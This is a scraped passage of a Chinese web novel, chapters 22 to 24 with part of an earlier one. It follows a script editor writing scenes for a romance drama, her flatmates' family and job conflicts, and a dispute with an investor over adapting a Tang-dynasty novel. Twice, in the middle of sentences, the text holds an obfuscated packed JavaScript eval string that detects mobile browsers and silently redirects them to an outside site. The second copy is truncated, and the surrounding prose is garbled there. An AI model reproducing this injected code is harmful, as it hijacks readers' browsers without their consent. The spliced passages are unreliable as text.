杨树和导演聊到快12点,一致觉得《天作之合》是个纯言情故事,没必要搞什么伪耽美,把男人互不相让的对峙写好即可。 明天有4场男主角和男二号的戏份,杨树决定再去观摩,学习导演如何将文字拍摄成影像,培养写戏的感觉。演员用怎样的表演说台词,导演用怎样的手法营造氛围,都有讲究。 文学助手跟杨树约定,他们花一天时间把修改内容整理出来,杨树再正式投入工作,部门那边,制片人会跟主管打声招呼。 杨树原本计划在横店再待两天就回北京上班,这下天上掉馅饼了,立刻在“桃花坞”群里发布了好消息,秦朗还没睡,闹着让她请客。两人一墙之隔,杨树索性打去电话,秦朗没听懂:“男一和男二相爱相杀,相爱?” 杨树说相爱相杀是一种情感关系,正如猫鼠、警匪关系一样,天然带有戏剧感。在《天作之合》这个语境里,相爱是形容词,两个人爱着同一个女人,内在是惺惺相惜的,可以理解成友爱。男人争风吃醋,是言情故事里最好看的地方之一,仅次于男女暧昧期, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079228|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写好了,观众会很喜欢看。 秦朗说:“听起来很有意思。” 杨树说看言情剧是为了代入女主角,体会被爱的感觉。两个男人为了争夺你,互揪衣领,大打出手,会让观众有强烈的被爱感觉,并且是双份的。秦朗明白了:“就跟我看的奇幻小说一样,公主、女侠和小师妹都爱男主。” 杨树大清早启程去A组片场,第一场戏是男主角和狗头军师的打闹戏。狗头军师的演员演过几部戏的重要配角,对喜感人物把握得很好,很能带动男主角白杨。 作为演员,白杨的问题很明显,他无时不刻在背台词,但一到镜头面前就习惯性忘词,需要导演助理一句句提词。导演昨晚说过,男女主角的演戏天分都不行,但白杨态度还不错,对着镜头有点紧张也不算坏事,毕竟演的是兔子嘛。兔子大多数戏份都是跟狼和狮子的,这种紧绷感很真实。 男二号祁宁是模特出身,演戏完全没经验,但他听懂了就能模仿得七八成像。性格张扬的角色比乖顺的占便宜,杨树要写的戏份里,有一半多是给兔子总裁加的动态戏,他是男主角,得承担观众的爱意,不能被男二号盖过去了。 丁盼兮以自己看言情剧的心得来说,男主角是女主角爱的,男二号是观众爱的,杨树也觉得男二号容易比男主角出彩,他不是主角,不肩负太强的道德使命,能够写得复杂立体。 顾叮叮并不知道自己被导演从心里放弃了,或者说知道了也不在乎,她寄予厚望的是之前刚拍完的两部古装剧,她的古装扮相胜于狼秘书,还能发挥跳舞特长。 秦朗自己去了明清宫苑,逛了一整天。他假期还长,自己慢慢玩,晚上跟杨树会合去吃饭。 在横店拍古装和年代剧的多些,《天作之合》导演本来想去海南、深圳等气候好的地方,但大老板在横店拿到很好的优惠,设备设施也完善。 剪辑室在酒店四楼,剪辑师对已拍摄内容做了粗剪,吃完饭,杨树去看片段,养养写剧本的情绪,她纯粹是赶鸭子上架,说不怯是假的。 杨树是内部员工,剪辑师放心出去转转,杨树和秦朗边看边讨论。大三角都称不上多有演技,最差的是顾叮叮,她减肥过度,脑子总转不过来,每场戏都要NG好几次。 秦朗问:“她耍大牌,导演不能教育她吗?” 杨树说:“教育了也听不进去吧,潘导不是《瓷缘》黎导的地位。制片说了,公司不会再跟她合作。台里投了钱,这次就饶她一马,但她以后任何戏,台里都不买。” 昨晚聊剧本,杨树到底没忍住,向导演发问,顾叮叮这么不敬业,但片酬比所有人的酬劳都高,大家还得各司其职,把她烘托出来,会不会有不值得的感觉。导演说演员是主创用来讲故事、表达观点的工具,别的工种可能会有些怨言,但对他而言,就好比练书法,写在甲骨上,石壁上,草纸上,都是文字。他说:“草纸是手纸,还是用来写字,是使用者的事。” 导演把话说得很重,可见对顾叮叮很不满,但在片场上,他和工作人员都在认真做事。杨树看着粗剪片段,心生感动,值不值都不重要,当它成为一个在世上流传的故事,陪伴别人度过些许温柔时光,付出的心血便有了意义。 22. 第 22 章 从剪辑室出来,走廊上,女二号抱着玫瑰花,正刷卡进门,转头对杨树和秦朗笑得灿然,杨树这才意识到今天是情人节。 陈樟远去深圳,杨树以为那段情事划上句号,但此刻她才发觉,事情并不能算完全结束,影响仍在持续,她对男女感情拿不出热情,也毫不期盼了。曾经笑过丁盼兮是情感动物,但那也是在有滋有味地活着。 身旁的秦朗说:“白天看到有人送花,我才想起今天是什么日子,以前总会提前很久,跟她互相准备礼物。” 这是搬到一起住,杨树第一次听到秦朗主动提起前女友,她为他高兴:“说出来是好事,埋在心里当成禁忌,才不容易放下。” 秦朗不太好意思聊感情问题,把话题扯到行程上。他明天再去八面山森林公园逛逛,后天晚上去杭州,在杭州玩两天就回北京。丁盼兮已经回了,她说一个人住那么大房子有点怕。 丁盼兮被家里催婚催得暴跳如雷,杨树怀疑她重新盯上秦朗,神秘莫测地一笑,回屋写剧本。 按导演和文学助手的要求,杨树写了几场戏,发生在狼秘书瞒着兔子总裁去挽救他的商业危机之后:兔子总裁意外得知真相,在夜雨中怒奔,寻找为他以身犯险的爱人。 狼秘书被狮子巨商掳走,兔子总裁和狮子针锋相对,被凌虐得很惨,但狮子没有要他的命,而是囚禁起来。让你无能为力地活着,才是最大的羞辱。 杨树写得很过瘾,导演提了一点小意见,等她改完,制片主任拿着劳务合同敲响她房间的门。除了署名文学编辑外,杨树写的32场戏会拿到2万块稿费。 易无有几个写网文的朋友转行当编剧,杨树找他打听新人稿费标准,易无说32场戏约为一集剧本,他有个朋友有过一部署名作品,一集也差不多这个价。但2万块就让人跑来横店跟组写剧本,还得保证写作质量,很多人都不干,所以导演找杨树是赚了。 杨树认为有署名就好,稿费是意外之喜,没有也行,易无说她这个想法不对,既要珍惜自己的劳动成果,更不能坏了行规。有的小编剧为了得到机会,免费给人写,只会让资方更不尊重创作者,底线太低,同行就被害惨了。 导演让杨树根据演员特质,量身定做戏份,杨树给兔子总裁写了纯情戏,让他趁狼秘书在会客室沙发上睡着,偷偷在她额头上落下一吻,还没成功,就被女二号小鹿撞见。 小鹿很悲愤,找机会和兔子喝酒,两人都有些醉意。眼看小鹿越凑越近,兔子有些脸红,是个任人宰割的小可爱,眼前却闪出狼秘书的影子,他落荒而逃。 狼秘书的窗前,兔子总裁久久徘徊。狗头军师再三怂恿,兔子却没狗胆,狗头军师心生一计,不如把狼秘书灌醉,抬出来扔到兔子总裁床上。兔子总裁浮想联翩,跟狗头军师回mall试酒,务必找到烈度刚好的酒,让他能一亲芳泽,然而哥俩先行倒在了实施阴谋的前夜。 按情节发展,狼秘书发现兔子和柴犬,她拎着两者的耳朵,凶性大发,只想一口一个,又能衍生很多好玩的情节。但导演让杨树这32场戏尽量不让顾叮叮参与,这场戏便归了狗头军师的女朋友狐狸小姐。 狐狸小姐还得瞒天过海,向众人遮掩mall里为何会有兔子和柴犬,而且还是两只酒鬼。这些戏台词都不多,演员的表演和拍摄才是加分的地方,杨树写得顺手,导演给她布置了新任务,加一场男主角和女主角雪地浪漫戏。 导演本来不想再给顾叮叮新的戏份,但男二号的雪戏演得好,男主角也该表现表现。杨树写了整整一天,雪戏一时想不出来,拉着秦朗去剪辑室看祁宁演的雪戏,酝酿感觉,但回房间仍想不出满意的。 秦朗买了熟食和酒,喊杨树去天台走走,晚上他回酒店的时候,夜空繁星密布,很有看头。 2月中旬的横店不冷了,空气里漂浮着隐约的植物清香,两人俯在栏杆上,聊起对大雪的记忆。内蒙冬天很漫长,雪景是杨树从小看熟的,没什么深刻印象,但是记得电影《返老还童》里,男主角和他爱上的第一个女人在雪夜里边走边喝香槟,那一幕拍得美。 秦朗说:“你是说文艺作品啊,那我会想起令狐冲。” 《笑傲江湖》里,大战之前雪落下来,令狐冲忽然想,不知小师妹现在在做什么?杨树也记得这个小细节,少年时不懂,如今想起来,滋味难言,她问秦朗是不是想到前女友,他没否认,却说就这么一闪念而过,已然不惆怅了。 杨树便问他为什么和家里吵架,这几天,她几次看到秦朗想在他家微信群里说话,却住了手,其实她也是,她每天都发朋友圈,爸爸勤于点赞,但还僵持着,没有私聊。 秦朗从头讲起,年前他情绪不好,是因为年度考核被上司打了倒数第二等级D,这已是他连续四年被打D。 每年绩效考核,秦朗和另外两个同事都是D,但那两人敢怒不敢言。第一年,秦朗问过原因,上司说这是部门名额,请新来的发扬风格,但发扬了三次风格,再来第四次,秦朗不干了。 部门去年有两个女同事怀孕,一人已生产,在坐月子,她怀孕几个月就在打杂了,她说肚子太大,弯不下去腰,调测设备、组线路等工作不能胜任;另一人刚怀上不久,时常请假去做孕检,或以身体不适为由,迟到早退。 这两人的工作都由秦朗承担,他据理力争,一个人做三个人的事,他没意见,但不能给他打D,如果部门必须有D名额,不该是他。上司反问:“你是让我给孕妇打D?她们已经够辛苦了。” 秦朗要求上司薄待孕妇的说法传开了,他去质问上司,上司却扬言:“那你去找索总告我啊!” 索某人是公司总工兼副总,他父亲是秦家父母的老同事,有时在园区路遇,索某人总会停下来,跟秦朗聊几句,公司的人都看在眼里。起初,上司和部门的人都视秦朗有靠山,但他在公司工作了几年,仍是普通员工,众人便都懂了,靠山靠不住。 上个月,公司年会聚餐,在地下车库,秦朗和索某人不期而遇。索某人问他工作如何,一如既往让他有困难就直接说,秦朗直说了,每个部门都得交出D和E名额这一制度,是否能酌情取消,而不是强行摊派。 索某人颔首,说他有数。过了两天,上司被索某人的秘书召至办公室,回来后敲了秦朗的桌子:“索总说了,大男人哪能跟孕妇一般见识。我奉劝你一句,做男人不能太小肚鸡肠。” 那天在车库里,秦朗并没说让孕妇承担D。他想去找索某人,索某人在微信上劝他大度点,孕产妇被打D,闹起来舆论影响不好,还让他平时多和上司交流,好好工作,多出成果,不要再打着他的名义狐假虎威。 公司是央企,秦朗学的专业对口,大四那年过年回家,他跟父母说过几个目标公司,其中就包括目前这家,他想等校园招聘会时投简历。寒假过后,他父母拎上礼物去了索家,请求老同事帮忙。老同事的儿子索某人让秦朗给他发了简历,三月份,他拿到了录用通知。 父母不登门,秦朗也不见得进不了公司,但父母不懂他那行的事,他们心怀感激,每年春节都去索家拜年。索某人在北京定居多年,但过年那几天总是在老家的,每回碰面,他都让秦家人别见外,有麻烦事就找他。 秦朗从没找过索某人,被打D是惟一一次开口,但索某人的态度让他心寒。今年过年回家,父母仍备好了礼物,喊他一起去索家拜年,秦朗说出这件事,他不想再去索家,但父母说一直走动,突然不去了,这说不过去,可能会得罪索家。 秦朗说:“现在整个部门都认定我告黑状,看不起孕妇,得罪他就得罪了,我本来就想辞职。” 父母教育秦朗珍惜工作,索某人那么大领导,做事有他的想法,他得维持平衡,秦朗怒了:“他不给我出头就不出,把我们经理喊过去,让我难做人,这叫平衡?其实就是觉得我无关紧要,但中层才是他要笼络的。有本事就别说漂亮话。” 父母接着劝,既然索某人看重秦朗的上司,年后秦朗跟上司道个歉,这件事就过去了。秦朗又怒了,父母做不通他的思想工作,决定自己去拜年,就说儿子今年没回家。秦朗好说歹说,他们仍固执己见,他气得杀回了北京。 所谓的靠山,就靠了一下,却险些砸得半死,秦朗都能不计较,但父母却让他体谅伤害他的人,他一百二十个想不通。 杨树叹气,她爸和秦家父母都是工薪基层,一辈子兢兢业业守个饭碗,他们很怕事,自然很希望儿子也能守好饭碗。但儿子受委屈了,还让他去理解那些混账,去向他们低头,这对于千里迢迢回家过年的儿子来说,是很难受。她无奈道:“他们那一代人谨小慎微惯了,秉信吃亏是福,忍让为大,行为方式就是这样的,你改变不了。” 父母生活在深山里,从小到大,秦朗都没从家里得到助力,物质上匮乏是正常的,他自己去奋斗就是了,但精神上还被添堵,实在难过。杨树说:“他们未必不爱你,不想为你出头,可他们只有那点能力。如果你指望从他们那里得到腰杆子硬的支持,是放错希望了,好比找穷人借钱,他们哪里有?” 秦朗说他没别的想法,只希望父母不要反复告诫他去理解索某人,去向经理道歉,杨树笑道:“人上了年纪就容易犟,别指望情商了好吗?只能改变自己,不被他们的话影响到心情。” 秦朗跟她聊了聊,好受多了,转而问她为什么提前跑回来,杨树说跟他遭遇的事差不离,秦朗听完说自己能明白杨父的想法。将来杨父退休后,大概率还跟妹妹妹夫生活在同一个城市,是老来作伴的人,不能伤了和气。 杨树笑了,每个人除了自己的问题,都能客观看待所有人面临的问题。她从未从这个角度想过,但站在她爸的立场上,似乎理应如此。女儿不想再回海拉尔,以后她在北京安家,当爸的能拉拉家常,互相照应的,仍是住在同城的亲人。 秦朗辞职辞定了,他得罪了上司,还被部门同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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楼下响起跑车疾驰的声音,杨树伸头望去,是男主角白杨的跑车。酒店一共才四层楼,居高临下,很轻易就看到车上下来两人,是白杨和女二号,这两人在片场显得生疏,此时却勾肩搭背,不时轻啄对方的脸。 女二号是公司签的演员,分管财务的副总是她男朋友,昨天情人节的花听说是副总送的,但在剧组里,这样的临时情侣不罕见。 秦朗有点惊讶,他在片场里所见的女二号,是很纯洁的初恋女孩长相,但跟白杨在一起,她媚态毕露,很放得开。杨树笑起来,帅哥美女,声色犬马,才是常态。 秦朗自己也笑了,不能因为他们美,就错觉他们的私德比别人高出一截。如果没有比常人更汹涌的欲望,怎么去演痴男怨女情天恨海? 已近子夜,星子澄明,杨树回房间继续酝酿剧本,跟秦朗并肩下楼。秦朗手机耳塞挂在脖子上摇摇晃晃,忽然塞过一只耳塞,压低声说:“给你找找灵感。” “今天我,寒夜里看雪飘过。”《海阔天空》起始第一句,石破天惊而来,杨树转头看他,两人隔得极近,呼吸相闻,他的眼睛很亮。 杨树哼着歌回屋,她知道怎么写男女主角雪地浪漫戏了。两人一人玩一把烟花,沿着雪夜浪游,兔子总裁运用灵力,像个大侠似的,用轻功一点,带着狼秘书在屋顶看星空,和风细雨地亲吻。 次日,秦朗告别去杭州,杨树给爸爸打了电话。爸爸问她怎么还在横店玩,杨树说了写剧本的事,再向爸爸认了错,她不该气性那么大,在家少住了几天。爸爸笑了:“塞翁失马,焉知非福,不提前出来,哪有写电视剧的机会。到时候我好好看看,哪些是你写的。” 杨树乐了:“你还是别看了,太肉麻了。言情故事一点都不好写。” 爸爸也向杨树道了歉,女儿快30岁了,不能还把她当小孩子,她是在论理,不是在跟大人闹情绪,谁有理,他就该站在谁那边。 杨树哼了一声:“这还差不多。有人欺负我,我一定要反抗,这是你从小教我的。我不管她是谁,欺负我就不行,欺负你也不行。” 爸爸连声说好,杨树说出打算,今年再攒一年的钱,就在河北燕郊买个小房子付首付,等爸爸退休就来住。燕郊离她上班的地方远了点,但比内蒙离北京近多了,每个周末她都能过去住。如果运气好,能多挣点钱,她就在北京买房,她就爸爸一个亲人,老了要住在身边。 爸爸说杨树买不起房也没关系,将来他把海拉尔的房子卖了,就能在北京支付几年租房费用,退休费当养老金,他把身体锻炼好,争取让女儿少操点心。 杨树眼睛湿润,闷在酒店房间继续写剧本。有时她没感觉,就下楼在酒店附近走走。男二号祁宁找过她几次,剧本里有几场他和男主角白杨的对手戏,他不太能把握感觉,请杨树帮他梳理梳理。 祁宁单论五官不如男一号白杨端正,但男人外表的帅,脸只是一方面,身材和气质能把整体分往上提不少。可惜身高1米87,肩宽腿长也有点麻烦,顾叮叮不到1米5,每次两人对戏,顾叮叮都得站在箱子上,她跟白杨拍戏也是,尽量不拍到全身。 祁宁每次来讨教,都会带些水果和饮料,杨树很乐意给他讲戏。又帅又诚恳的男人,总让人有好感。看到他对狮子王的演绎,杨树似乎更明白女孩们喜欢霸道总裁,这样一个锐利的男人站在面前,他的霸道被美化成深情,的确很能迷惑人。 23. 第 23 章 写完导演需要的剧本,杨树拖着旅行箱飞回北京。她对《天作之合》前景看好,选角很贴人物,CP感强,最关键的是以导演为首的大部分主创人员都是真正喜欢这个故事,能理解它里面所有的闪光点,并发扬光大。将来营销跟上,必能闹出点动静。用心做作品,观众是愿意领情的。 秦朗已经入职新公司,买了“不野岛”家的新品朗姆芝士蛋糕为杨树接风,他还记得在横店天台时,杨树说过甜酒配蛋糕是一绝。 秦朗成天加班,丁盼兮不想一个人在家,频频跟追求者们约会,但有才的爱吹牛,有貌的都自恋,有钱的没劲,没钱的也没劲,她每天都盼着等杨树回来。 丁盼兮的春节同样过得不痛快,到家第一天就和她妈吵架了。家里是二层小楼,左邻右舍是大伯和叔叔,三家人总聚在一起吃大锅饭。择菜洗菜和烧菜都是丁母、婶婶和大伯母等人的事,丁盼兮小时候熟视无睹,直到前几年她才意识到这样不对,跟她妈讲了又讲,但她妈听不进去,说她得担当起一个女人该担的,让家里人都有口热饭热菜吃。 丁盼兮说:“到北京当个保姆不行吗,好好做,月薪过万。” 妈妈批评女儿眼里不能只有钱,挣再多钱,没有家庭有什么用?她这是身为女人的责任。丁盼兮拿月薪一万去诱惑她爸,她爸心动,怂恿妻子投奔女儿,每年樱桃季一过就去打工。 妈妈不愿意,她生儿子的时候打过工,钱不是那么好赚的,而且她一走,家里一老一小两个男人怎么办?没女人的家不像家。而且女儿净会哄人,当妈的看过短视频,月薪一万的都是高学历月嫂,她哪有那本事。 丁盼兮说她掏钱送她妈去培训,妈妈更不干了,她爸几句话更是把女儿噎得结结实实:“说来说去还是你把自己耽误了,你要是嫁了,你妈早给你带上孩子了,我在家随便瞎吃也高兴。你倒好,鼓动你妈去给别人带孩子!” 弟弟说:“跪在地上给人擦地板,这是人干的活吗?” 丁盼兮反唇相讥:“伺候你俩,你俩把她当人看了吗?” 弟弟呛道:“当老佛爷看啊?” 丁盼兮刚想反击,妈妈忙不迭让她别瞎说,丈夫不赌不嫖,儿子本本分分做樱桃生意,网店经营得也还行,她做点家务不累,就算再苦再累也值得。如今家里二层楼也建起来了,女儿带男朋友回家不丢人。 丁盼兮说:“你每次让我嫁人,都说是找个人照顾我,怎么在你这里,就成你照顾别人?” 妈妈抹布一甩,责备女儿只会抬杠。丁盼兮瞧着她妈,50出头像60岁,还发自心底认为家务不能少做,儿子不能不生,不然不配当女人,还想着把这一套教给女儿,但女儿很幸运,北京救了她。 应该说,是丁盼兮救了自己,她读的是文科,但数学一骑绝尘,把分数拉开,考到北京读财务管理。入了社会,她先后几份工作都挺体面,每年最痛苦的就是回家过年。 丁盼兮劝不动她妈跟她上北京,就连让妈妈婶婶伯母上桌吃饭,她们也不响应,还说男的抽烟喝酒吹牛,吵得很,女的在厨房单吃,吃完了各做各的事,清爽。 丁盼兮说不让女人上桌不对,但她爸和大伯都认为她读书读傻了,家家户户都这样,女的自己也没觉得是问题,就她事多,叔叔告诫丁盼兮,女人太刁蛮了男人不喜欢。 丁盼兮烦透这家人:“就你们这种男人,鬼才稀罕被你们喜欢!” 爸爸勒令丁盼兮道歉,丁盼兮扭身走了。她小时候被叔叔家的堂弟猥亵过,她告诉婶婶,但婶婶骂她冤枉人,她气哭了,但从没跟爸妈说过。 读中学时,丁盼兮才明白,不说是因为潜意识知道,她爸不会为她跟亲戚翻脸,说了也白说。当她意识这一点,很刻苦地读书,发狠要远离这个鬼地方。 整个春节期间,爸妈几次三番劝女儿嫁人,她眼瞅着就30岁了,再不嫁人,会被人笑话成了老姑娘,丁盼兮说:“没男人怎么就不行了?” 爸爸说:“靠你自己能行吗?珍珍不如你一半好看,你看她多会嫁人,在烟台买三套房子了。” 妈妈让丁盼兮多为自己盘算,她空有好本钱,至今没嫁掉,不是因为别的,是她没当回事,但家里没有男的不行。丁盼兮看看她爸和她弟弟,笑了一下。 爸爸让丁盼兮听妈妈的话,她老大不小了,连个男朋友都没有,一家人在村里都抬不起头。有的人还异想天开,想把自家二婚的侄子配给丁盼兮,爸爸张口就回绝,却被人骂不识抬举。 丁盼兮回京那天,父母给她弄了很多吃的,妈妈让她改点性格,别整天抬杠,争取下半年就带个男朋友回村,让别家好好看看,她想嫁人,还不是轻而易举的事? 一家人把丁盼兮送到镇上,丁盼兮坐上小巴,车窗外,那三个人影越来越小。父母重男轻女不假,但也不能说不爱她,她每年拿回家的钱,他们都攒着没乱花。弟弟也还算懂事,大专期间就开起了樱桃网店,没找过她麻烦,可他偷偷说过:“村里人指指戳戳,话说得很难听,妈哭过几次。” 丁盼兮最难受的就是这个,她只用忍受过年那几天,可家人就生活在那里。杨树让她别在意,嚼完这人的舌根,嚼别人的去了,“他人的眼光”、“口水淹死你”都是别人的话术,你往心里去,就掉进他们的陷阱了。 秦朗也说舆论压力根本不可怕,他在前公司,被部门同事鄙视,说他跟孕妇产妇争意气。当时百口莫辩,情绪受到影响,远离了那环境,再回想起来,觉得很可笑。上司和别的部门一个□□,双双婚内出轨,部门同事谁敢公开鄙视了?有的男同事还很羡慕,因为上司摆得平家里家外两个女人。 至于公司总监喊上几个女实习生去陪酒,部门同事从不多嘴。很多时候,道德谴责是分人的。秦朗劝丁盼兮别在意别人说三道四,她50岁不结婚,别人也不能拿她怎么样,被别人的观念捆住了自己,不是很傻吗? 杨树说:“你跟你妈说,谁当面奚落她,她就骂回去,你看谁敢来再烦她。” 丁盼兮说她妈不是那性子,做不到,但她自己想明白了,她不能再爱情至上。跟作曲家调调情,时间稍微一长就很没意思,因为她不爱对方,也因为知道他同时还跟甲乙丙丁聊。 杨树和秦朗都勤勉上进,丁盼兮决定收心,把考注册会计师纳入日程。她在公司做薪酬福利方面的主管,收入尚可,但她是学财务出身,以后从人事部门转去做财务,前景才会更好,她想救妈妈。 杨树高兴道:“财务做好了,年薪两百万不是梦。” 丁盼兮自认读书还可以,想努力为自己挣个好点的前程,秦朗笑道:“努力是没用的,要拼命。” 人的认知观念都是可以去改变的,2016年2月,一个普通的周末夜晚,三个不同行业的人,拥有了共同的目标:要把亲人接来北京团聚。 杨树在横店时,她主动申请当责编的《大唐银楼》就已经正式启动。大老板邀请武德担任编剧,武德如期交出剧本大纲和主要人物小传。 武德很有名,年轻时写过戏说类古装剧和武侠剧,收视非常高,近年活跃在脱口秀类综艺节目,担任总编剧的几部剧也有一定的话题度。 武德以学识丰富著称,唐朝是他最感兴趣的朝代,剧本大纲写得文采翩然。但杨树去上班后,听说青芽图书的子公司青芽传媒主投这个项目,作为他们正式进军电视剧行业的第一战。 前年下半年,青芽图书大老板游说张瑞江转行帮他,张瑞江建议参投一部小成本电影,他们拍摄到后期,急需资金。上个月,电影上映,堪称一匹黑马,总投资3千万,揽到几个亿的票房。 青芽传媒首战告捷,盯上了《大唐银楼》。长夜影视公司只买了影视版权和游戏改编权,小说的出版和电子版权都在青芽公司,由李伊梦的女□□业部负责。 去年底,小说上市,上了图书畅销榜,李伊梦得知它是长夜影视公司年度重点项目,向大老板力荐此书。大老板认为故事好,唐朝背景也大气辉煌,以长夜影视和卫视的关系,且请来武德这种在编剧界和综艺界都玩得转的大红人,只要把演员码好了,这项目想扑都难。 青芽图书大老板和一家视频网站的副总裁是发小,副总裁是从某卫视出去的,有他保驾护航,《大唐银楼》至少能卖两个平台,夏停那边问题也不大,能赚得盆满钵满。 总之,老板们达成协议,青芽传媒主投《大唐银楼》,是项目的出品方,长夜影视公司为承制方和联合出品方。 青芽大老板很忙,指派李伊梦任《大唐银楼》监制,简单说是代表大老板,监督承制方大小事务。周一,杨树带上录音笔,回到前公司跟甲方李伊梦开剧本会,见到了她的继承者,被众人形容成草包之人。 草包没杨树以为的帅,但大多数普通男人没他这样善于打扮,他个子高,穿风衣有优势,架一副无框眼镜,颇有几分清俊。他很得李伊梦欢心,长条会议桌前,他和李伊梦面对面而坐,李伊梦说话时总看着他的脸。 主位当然是给大编剧武德的,他40大几岁,在电视上和生活里都穿立领唐装,戴礼帽,民国文人的装束,但其人高大胖,目测超过两百斤,一脸络腮胡子,整体像读了书的张飞。 武德是一档综艺节目的常驻嘉宾,支持者甚多,都夸他很能喷,意即很能说,当他坐在旁边,杨树才明白,喷不是形容词,是动词。武德语速极快,唾沫喷溅,身上气味也难闻,杨树趁拿奶茶时,不动声色地把座位挪开一点。 《大唐银楼》写的是珠宝世家的女孩一夕遭遇家破人亡,颠沛流离,重振家族事业 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武德不表态,杨树只得跟李伊梦争辩下去。小说的精华在于事业写得极精彩,男女主角珠联璧合,屡次携手度危机,恋爱该有的跌宕起伏也都写出了层次感。如果抛弃精华,会减损《大唐银楼》在市场上的竞争力。 李伊梦抛出新意见:“你是第一次当责编,经验不足,思维还很局限。要我说,把男三提升为男主,恋爱有了,情节也精彩,你们觉得怎么样?” 原著里,男三号是皇子,对女主角爱而不得,但始终很欣赏她,助力女主角把珠宝远销海外。作者没给皇子太多戏份,只把他当成大唐皇室的缩影去写,李伊梦这个改动是大动干戈,但武德仍是那句话:“责编什么意见?” 杨树估计这人看得出她和李伊梦有矛盾,但一副坐山观虎斗的架势,她试着把炸弹抛给他:“武老师是具体写剧本的人,您评估看看?” 武德思索状,李伊梦示意草包给他倒茶,说道:“这年头,男主不是权贵都不好混言情圈了。原著的男主就一穷酸画家,要不是皇子主动放手,他根本没戏。原著作者敢写个普通穷男人当男主,我敬她是条汉子,电视剧可不能这么搞,哪个女观众谁会YY穷逼啊,男主必须换。武老师,您认为呢?” 武德挑起一边眉毛:“改动有点大。” 李伊梦笑:“辛苦您了,等这戏写完,我单独给您封个大红包。” 杨树问:“改男主是大调整,李总监有具体要求吗?” 李伊梦让草包说话,草包琢磨了一下:“把现在的男主降级成男二。” 李伊梦摆手:“让他当个苦逼男三。把现在的男二戏份提上来,他好歹是京城巨商之子。” 杨树厌恶之情油然而生,吐出一口气,只问李伊梦:“李总监还有哪些要求,我和武老师都记下来。” 李伊梦侃侃而谈:“古代商人地位太低了,女主别是商人女儿了,改成弃妃的女儿吧。至于是哪个妃子,还请武老师从安史之乱里找一个,既能把我们的故事从唐中期落地到具体年代,更有利于您写戏。将来女主被认亲,皇子以为爱上妹妹,这里能写很多戏,观众就爱看狗血。” 很多人都惯于用自己的口味去概括全世界,杨树心里好笑,李伊梦一口一个观众,可观众那么多,她能代表哪个? 武德是大老板高价聘请的大编剧,他态度这么暧昧,杨树不方便强势,但她得提醒一二:“原著作者人气高,小说也很红,我想我们得理解和尊重它受欢迎的点,在保留精神内核和特质的基础上,再去进行影像化改动。” 李伊梦摆手:“原著就一三流小说,按原著走流程,我何必请武老师出手?我们改,自然有我们的道理,作者拿了那么多版权费,她不会说什么的。书粉就更别担心了,谁还不识字啊,识字就能看书,她们哪来的优越感?又不是她们写的,骂就骂,骂还能给咱们贡献热度。” 武德呵呵一笑:“要是小说拿来就拍,还要我们这些编剧干什么。” 李伊梦说:“既然武老师也认可这个改编思路,那我们约定一下,半个月交出修改后的剧本大纲?” 武德一口答应,李伊梦看着杨树,一声杨老师喊得讥讽:“杨老师,盯进度的事交给你了。青芽想尽快拿去广电立项,影响流程我可就拿你是问哦。” 杨树笑了笑:“看武老师的了。” 武德收拾着东西:“就一两万字,半个月时间,很宽裕了。” 李伊梦虚按他的手:“武老师,青芽订了餐,中午唐总宴请您,咱们再聊聊吧。您上次在节目上那个话题特精彩……” 李伊梦聊起综艺节目,再不看杨树一眼,存心晾着她。杨树站起来,跟武德说声再见,背着包走了。她一个新手责编,强力反对又如何,只能私下再跟武德通气。 24. 第 24 章 每次开剧本会,杨树都会用录音笔记下众人发言,整理成文字。远在甘肃的章嘉敏听了这次录音,骂了脏话:“多日不见,她还是那么傻×。” 杨树给武德发了微信,请他在酒席后跟青芽图书的大老板再谈谈,但武德只回了几个字:“资方是大爷,按他们的来吧。” 武德在这圈子地位不俗,他不同意李伊梦提出的修改方案,向老板们反映,还有商榷的余地,但他竟然就这样算了。杨树气得骂娘,像《天作之合》的编剧那样苦求作品署名的小角色,面对资方的傻×意见都会抗争,可武德却是事不关己的态度,说明不爱护项目,只怕交不出好的新大纲。 丁盼兮看过《大唐银楼》原著,情节大开大合,照着拍多省事,为什么要乱改一气?杨树说改编是有必要的。这几年流行重生文,《大唐银楼》女主角也是死而复生,这点得给出合理解释,还有些无关紧要的小配角要合并,而且女主角金手指一个接一个,所有难关轻松而过,是爽文设置,有阅读快感,但想让一个戏剧足够经典好看,创作者最好狠点心,让人物置身于困境,并且永远置身于困境。 原著小说通过女孩的命运经历,描绘出大唐文化,以及唐代丝绸之路的畅通繁荣,是长夜影视公司把它定为重点项目的最大原因,它对外号称投资3亿,实际投资预算1.8亿,公司大老板对它有野心,年会上就说过,1.8亿是大钱,不能搞出精神格局赶不上制作品质的东西。 原著对丝绸之路着墨不多,如果只是从小作坊到官商,不够有大唐气象,文不对题,杨树认为丝绸之路这部分要重新架构,质感才上得去,这才是武德改编工作的重中之重,但李伊梦提出的改编方向明显不对。 秦朗问:“别人看不出她没水平吗?” “哪一行都有会来事的人,你又不是不知道。”杨树拿着会议录音去找制片人柳艳,但不抱希望。就像秦朗的前总工维护经理,柳艳也不会为了她去质疑甲方。 听完李伊梦的录音,柳艳直叹气。做项目都是摸着石头过河,她不能说李伊梦是在歪理邪说,真正的行业剧是没几个人看,况且是大唐行业剧。改成主打恋爱戏,最多会讨一部分人骂,但大众的确爱看女主角和王公贵族谈恋爱,无数次数据调查,都证明了狗血言情有庞大的市场。 杨树极力争取,但柳艳让她算了:“让观众骂去吧。要么边看边骂,要么看点营销号发的片段就骂,管他们干嘛。武德都没反驳李伊梦,应该是对于怎么改编有数了,你多和他商量。” 